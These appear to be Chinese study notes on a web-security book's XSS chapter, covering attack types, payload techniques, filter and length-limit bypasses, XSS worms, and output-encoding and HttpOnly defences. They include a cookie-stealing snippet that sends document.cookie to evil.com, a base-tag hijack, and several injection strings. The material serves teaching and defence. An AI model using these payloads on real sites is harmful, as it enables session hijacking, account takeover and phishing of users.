第三章:XSS <Cross Site Script>
3.1 XSS简介
通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击<一开始跨域,如今是否跨域已经不重要>
XSS破坏力强大,且产生的情景复杂,难以一次性解决。现在业内达成的共识是:针对各种不同场景产生的XSS,需要区分情景对待。
XSS分类:反射型XSS、存储型XSS、DOM Based XSS
反射型XSS:又称“非持久性XSS”(Non-persistent XSS),只是简单地把用户输入的数据“反射”给浏览器。
存储型XSS:又称“持久型XSS”,用户输入的数据存储在服务器端,具有很强的稳定性
DOM Based XSS:这种类型并非按照“数据是否保存在服务器端”来划分,从效果上来说也是反射型XSS,但其形成原因较特别。出于历史原因,就把他单独作为一个分类了。修改页面的DOM结点形成XSS,故称之为DOM Based XSS。
3.2 XSS攻击进阶
3.2.1 初探XSS Payload
XSS Payload其实就是一段Javascript脚本(还可以是Flash或其他富客户端的脚本),所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie 劫持”攻击
Example
var img = document.createElement(“img”); img.src = “http://www.evil.com/log?”+escape(document.cookie); document.body.appendChild(img); |
可以通过XSS将这段代码注入到目标页面中,并在最后将document.cookie对象作为参数发送到远程服务器
获取某个打开的页面的cookie:在浏览器地址栏中输入:
javascript:alert(document.cookie) |
在当前的WEB中,Cookie一般是用户登陆的凭证,浏览器发起的多有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就可以不用密码登陆用户的账户
Cookie的“HttpOnly”标识可以防止“Cookie劫持”
3.2.2 强大的XSS Payload
Cookie劫持对抗:Set-Cookie时给关键字Cookie植入HttpOnly标识、Cookie与IP绑定
3.2.2.1 构造GET与POST请求
GET:
Example Code :删除文章编号为156713012的文章,攻击者只需让博主执行下面这段JS代码(XSS Payload)
var img = document.createElement(“img”); img.src = “http://blog.sohu.com/manage/entry.do?m=delete&id=156713012”; document.body.appendChild(img); |
POST:
方法一:构造form表单并自动提交<构造DOM节点、innerHTML>
方法二:通过XMLHttpRequest发送一个POST请求
攻击者除了可以实施Cookie劫持外,还能够通过模拟GET、POST请求操作用户浏览器
3.2.2.2 XSS钓鱼
Example 1:验证码绕过
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施---攻击者可以在远程XSS后台接受当前验证码,并将验证码的值返回给当前XSS Payload,从而绕过验证码
Example 2:密码修改<XSS与钓鱼结合>
利用JavaScript在当前页面上“画出”一个伪造的登陆框,当用户在登陆框中输入用户名和密码后,其密码将被发送至黑客的服务器
充分发挥想象力,可以使得XSS攻击的威力更加巨大
3.2.2.3 识别用户浏览器
最简单的办法:通过XSS读取浏览器的UserAgent对象
javascript:alert(navigator.userAgent) |
但是UserAgent可以被伪造,比如Firefox有很多扩展可以屏蔽或自定义浏览器发送的UserAgent,所以JS读取的浏览器对象不一定准确
更高级的方法:浏览器之间的实现存在差异---不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微的差别,几乎不会误报
参考代码:P54
3.2.2.4 识别用户安装的软件
Example code 1:检测是否有迅雷控件(XunLeiBHO.ThunderIEHelper)
try{ var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper'); }cactch(e){ //异常了,不存在该控件 } |
Flash的system.capabilities对象,能够查询客户端电脑中的硬件信息
Firefox的插件:可通过查询“navigator.plugins”对象就可得到所有插件
Firefox的扩展:略复杂通过检测扩展的图标来判定是否存在该扩展<需借助一个特殊协议:chrome://> Example:检测Flash Got
var m = new Image(); m.onload = function() { alert(1);//图片存在 }; m.onerror = function() { alert(2);//图片不存在 }; m.src = “chrome://flashgot/skin/icon32.png”;//链接图片 |
3.2.2.5 CSS History Hack<通过CSS 发现一个用户曾经访问过的网站>
原理:利用style的visited属性---如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。但是Firefox在2010年3月底修补了这个问题
POC:Proof Of Concept,验证性测试
3.2.2.6 获取用户的真实IP地址
JS本身并没有提供获取本地IP的能力,需借助第三方软件,比如JRE,XSS可通过调用JavaApplet的借口获取客户端的本地IP地址
Example code
AttackAPI.dom.getInternalIP = function () { try { var sock = new java.net.Socket(); sock.bind ( new java.net.InetSocketAddress ( '0.0.0.0' , 0) ); sock.connect ( new java.net.InetSocketAddress ( document.domain, ( !document.location.port )?80:document.location.port) ); return sock.getLocalAddress().getHostAddress(); }catch (e) {} return '127.0.0.1'; }; |
另外两个利用java的代码见书中P61
3.2.3 XSS攻击平台
Attack API<XSS Payload封装>、BeEF<完整的XSS攻击过程>、XSS-Proxy<轻量级>
3.2.4 终极武器:XSS Worm
3.2.4.1 Samy Worm
过滤危险HTML标签,只保留<a>,<img>,<div>等安全标签 绕过:允许用户控制标签的style属性,可通过style构造出XSS <div style=“background:url('javascript:alert(1)')”> 过滤“javascript”,“onreadystatechange” 绕过:拆分法 return eval (' document.body.inne ' + ' rHTML '); |
3.2.4.2 百度空间蠕虫
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击. (比如,发送站内信、用户留言等页面,都是XSS的高发区,需要重点关注,如果一个页面只能由用户个人查看,比如“个人资料设置”页面,因为缺乏用户之间的互动功能,所以即使存在XSS,也不能被用于XSS Worm传播)
3.2.5 调试JavaScript
Firebug , IE 8 Developer Tools , Fiddler , Http Watch
3.2.6 XSS构造技巧
3.2.6.1 利用字符编码
Example: 百度在一个<script>标签中输出了一个变量,其中转义了双引号:
var redirectUrl = “”;alert(/XSS/);''; //一般来说没有XSS,因为变量处于双引号中 |
但是,百度返回页面采用GBK/GB2312编码,故“%c1”这两个字符组合会成为一个Unicode字符,在firefox中会认为这个一个字符,所以构造:
%c1”;alert(/XSS/);// |
3.2.6.2 绕过长度限制
<input type=text value=”$var”> |
XSS构造:
“><script>alert(/xss/)</script>” |
希望的效果:
<input type=text value=””><script>alert(/xss/)</script>”/> |
假设长度限制为20个字节,则这段XSS会被切割为:
“><script>alert(/xss |
攻击者利用事件(Event)来缩短所需要的字节数:
“onlick=alert(1)”// |
实际输出为:
Input type=text value=”” onclick=alert(1)//”/> |
但利用“事件”能够缩短的字节数是有限的,最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload
最常用的一个藏代码的地方就是“location.hash”,不会被记录到WEB日志中
location.hash本身没有长度限制
在某些特殊环境下,利用注释符绕过长度限制
<input id=1 type=”text” value=””> xxxxxxxxxxxxxxxxx <input id=2 type=”text” value=””> |
输入: 第一个框: “><!-- 第二个框: --><script>alert(/xss/);</script> |
最终效果: <input id=1 type=”text” value=””><!--” /> xxxxxxxxxxxxxxxxxx </input id=2 type=”text” value=”--><script>alert(/xss/);</script>” /> |
3.2.6.3 使用<base>标签
定义页面上所有使用“相对路径”标签的hosting地址
<base>并非只能用于<head>内,而是可以出现在页面任何地方,并且作用于位于该标签之后的所有标签
<base href=”http://www.evil.com”> … <script src=”x.js”></script> … <img src=”y.jpg” /> … <a href=”auth.do”>auth</a> |
在设计xss安全方案时一定要过滤掉该标签
3.2.6.4 window.name的妙用
对window.name赋值无长度限制,window对象是浏览器的窗体,非document对象,故不受同源策略限制。攻击者利用这个对象可以实现跨域、跨页面传递数据
www.a.com/test.html代码 <body> <script> window.name=”test” alert( document.domain+” ” + window.name ); window.location=”http://www.b.com/test1.html”; </script> </body> |
<body> <script> alert( document.domain + “ ” + window.name ); </script> </body> |
缩短XSS Payload长度
<script> window.name = “alert(document.cookie)”; location.href = “http://www.xssedsite.com/xssed.php”; </script> |
在同一窗口打开XSS的站点后,只需通过XSS执行以下代码即可 eval(name); |
其他技巧请百度:《突破XSS字符数量限制执行任意JS代码》
3.2.7-变废为宝:Mission Impossible
3.2.7.1 Apache Expect Header XSS
服务器出错时,会把Expect头的内容未经任何处理便写入到页面中,因此Expect头中的HTML代码就被浏览器解析执行了。-> 使用Flash构造请求。
3.2.7.2 Anehta 的回旋镖
反射型XSS也能想存储型XSS一样利用:将要利用的XSS嵌入一个存储型XSS中
思路:如果在B域上存在一个反射型XSS B,在A域上存在一个存储型XSS_A,当用户访问A域上的XSS_A时,同时嵌入B域上的XSS_B则可以达到在A域的XSS攻击B域用户的目的。
3.2.8-容易被忽视的角落:Flash XSS
Flash中嵌入ActionScript脚本,由于Flash文件如此危险,所以在实现XSS Filter时一般都会禁用<embed>,<object>等标签
对策:若仅仅是视频文件,则要求转码为flv文件<静态>,若是带动态脚本的flash,则要通过flash的配置进行限制<allowScriptAccess, allowNetworking, XSS过滤>
3.2.9-真的高枕无忧吗:JavaScript开发框架
Dojo, YUI, JQuery
3.3 XSS的防御
流行的浏览器内置了一些对抗XSS的措施,如Firefox的CSP、Noscript扩展,IE8内置的XSS Filter等
3.3.1 四两拨千金:HttpOnly<在set-Cookie时设置,需给关键Cookie都加上HttpOnly>
严格讲:HttpOnly并非为了对抗XSS,它解决的是XSS后的Cookie劫持攻击;设置之后JavaScript读取不到Cookie的值
绕过:Apache支持的一个Header是TRACE. TRACE一般用于调试,它会将请求头作为Response Body返回。
使用HttpOnly有助于缓解XSS攻击,但仍然需要其他能够解决XSS漏洞的方案
3.3.2 输入检查
输入检测的逻辑,必须放在服务器端代码中实现。
目前Web开发的普遍做法,是同时在客户端JS中和服务端代码中实现相同的输入检查。客户端JS输入检查可以阻碍大部分误操作的正常用户,从而节约服务器资源
在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、”等,如果发现存在特殊字符,则将其过滤或者编码
比较智能的“输入检查”,可能还会匹配XSS特征,比如查找用户数据中是否包含<script>,javascript等敏感字符。
这种输入检查的方式被称为XSS Filter
XSS Filter在用户提交数据时获取变量,并进行XSS检查;但此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。(恶意JS URL可绕过)
在大多数情况下,URL是一种合法的用户数据
XSS Filter还有一个问题----对<,>等字符的处理,可能会改变用户数据的语义
3.3.3 输出检查
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS
3.3.3.1安全的编码函数
html: HtmlEncode:字符转换成HTMLEntities,对应的标准是ISO-8859-1
至少转换:
& → & |
< → < |
> → > |
“ → " |
' → ' &apos(不推荐) |
/ → / |
Php: htmlentities() , htmlspecialchars()
JavaScript: JavaScriptEncode
JaVaScriptEncode与HtmlEncode的编码方式不同,他需要使用“”对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内,以避免造成安全问题
var x = escapeJavaScript($evil); //如果escapeJavaScript()只转义几个危险字符:',”,<,>,\, var y = '”' + escapeJavaScript($evil) + ''''; //&,#等,那么这两行代码输出后可能会变成如下 |
Var x = 1;alert(2); //执行了额外代码 var y = “1;alert(2)”; //安全,若想逃逸出括号范围,较困难: |
Var y = “”;alert(1);//”; |
更加严格的JavaScriptEncode:除了数字和字母外的所有字符,都使用十六进制”xHH”方式编码 var x = 1;alert(2); → var x = 1x3balertx282x29; |
XML: XMLEncode <与HtmlEncode类似>
Json: JSONEncode <与JavascriptEncode类似>
注意:在适当的时候选用适当的函数,编码后的数据长度可能会发生改变,从而影响某些功能,在写代码时需要注意这个细节,以避免产生不必要的bug
3.3.3.2只需要一种编码吗
XSS攻击主要发生在MVC架构中的view层,大部分的XSS漏洞可以在模板系统中解决
对于浏览器来说,htmlparser会优先于JavaScript Parser执行,所以解析过程是,被HtmlEncode的字符先被解码,然后执行JavaScript事件
导致XSS攻击发生的原因,是由于没有分清楚输出变量的语境
3.3.4 正确防御XSS
XSS的本质还是一种“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的l语义
XSS可能发生的所有场景
在HTML标签中输出 防御:HtmlEncode |
|
<div>$var</div> <a href=# >$var</a> |
<div><script>alert(/xss/)</script></div> <a href=# ><img src=# onerror=alert(1) /></a> |
HTML属性中输出 防御:HtmlEncode OWASP ESAPI中推荐一种更严格的HtmlEncode--除字母数字外其他所有特殊字符都被编码 |
|
<div id=”abc” name=”$var” ></div> |
<div id=”abc” name=””><script>alert(/xss/)</script><””></div> |
<script>标签中输出 防御:JavascriptEncode |
|
<script> var x = “$var”; </script> |
<script> var x = “”;alert(/xss/);//”; </script> |
在事件中输出 防御:JavascriptEncode |
|
<a href=# onclick=”funcA('$var')”>test</a> |
<a href=# onclick=”funcA('');alert(xss);//')”>test</a> |
在CSS中输出 防御:推荐OWASP ESAPI中的encodeForCSS() 所以,一般来说,尽可能禁止用户可控的变量在<style>标签、HTML标签的style属性以及CSS文件中输出 |
|
在地址中输出 防御:URLEncode 一般来说,在URL的path或者search中输出 |
|
<a href=”http://www.evil.com/?test=$var”>test</a> |
<a href=”http://www.evil.com/?test=” onclick=alert(/xss/) “”>test</a> |
URL的组成:[Protocal][Host][Path][Search][Hash] Protocal和Host部分是不能够使用URLEncode的,否则会改变URL的语义 若URL能够被用户完全控制,那么:可构造伪协议攻击
<a href=”var”>test</a> → <a href=”javascript:alert(1);”>test</a> |
|
DataURI 能够将一段代码写在URL里,如下: |
|
<a href=”data:text/html;base64,lkdjfaldkjflkjadlfkjalsdkjfkldjfoirejfkjmcnv=”>test</a> 以text/html的格式加载编码为base64的数据 对策:检查变量是否以http开头 |
3.3.5 处理富文本<用户提交的一些自定义的HTML代码>
<script>,<iframe>,<base><form>等,应该被严格禁止
标签选择上,应该使用白名单,避免使用黑名单。比如,之允许<a>,<img>,<div>等比较安全的标签存在
尽可能禁止用户自定义CSS与style,如果一定要用,则像过滤富文本一样过滤CSS
开源项目:Anti-Samy, HTMLPurify
3.3.6 防御DOM Based XSS
DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待
<script> var x = “var”; document.write(“<a href = '”+x+”'>test</a>”); </script> |
首先,在”$var”输出到<script>时,应该执行一次JacascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待,如果是输出到事件或者脚本,则需再做一次javascriptEncode;如果是要输出到HTML内容或者属性,则要做一次htmlEncode。
也就是说,从javascript输出到HTML页面,也相当于一次XSS输出过程,需要分语境使用不同的编码函数。
会触发DOM Based XSS的地方很多,一下几个地方是JavaScript输出到HTML页面的必经之路:
Document.write() |
Document.writeln() |
Xxx.innerHTML= |
XXX.outerHTML= |
InnerHTML.replace |
Document.attachEvent() |
Window.attachEvent() |
Document.location.replace() |
Document.location.assign() |
... |
除了上述,一下几个地方也可能成为DOM Based XSS的输入点,需要重点关注
- 页面中的inputs框
- window.location(href,hash等)
- window.name
- document.referrer
- document.cookie
- localstorage
- XMLHttpRequest返回的数据
3.3.7 换个角度开xss风险
一般来说,存储型XSS的风险高于反射型XSS。因为存储型XSS会保存在服务器上,有可能会跨页面存在。它不改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。比喻IE8的XSS Filter和firefox的Noscript Extension,都会检查地址栏中的地址是否包含XSS脚本。而跨页面的存储型XSS可能会绕过这些检测工具。
从攻击过程来说,反射型XSS,一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储型XSS,则只需要让用户查看一个正常的URL链接。比如一个Web邮箱的邮件正文页面存在一个存储型XSSL漏洞,当用户打开一封邮件时,XSS Payload会被执行。这样的漏洞极其隐蔽,且埋伏在用户的正常业务中,风险颇高。
从风险角度看,用户之间有互动的页面,是可能发起XSS Worm攻击的地方。而根据不同页面的page view高低,也可以分析出哪些页面受XSS攻击后的影响会更大。比如在网站首页发生的XSS攻击,肯定比网站合作伙伴页面的XSS攻击要严重的多
在修补XSS漏洞时遇到的醉倒挑战之一就是漏洞数量太多,因此开发者可能来不及,也不愿意修补这些漏洞。从风险角度重新定位每个XSS漏洞,就具有了重要的意义
3.4 小结
理论上,XSS漏洞虽然复杂,但却时可以彻底解决的,在设计XSS解决方案时,应该深入理解XSS攻击原理,针对不同的场景使用不同的方法,同时很多开源项目为我们提供了参考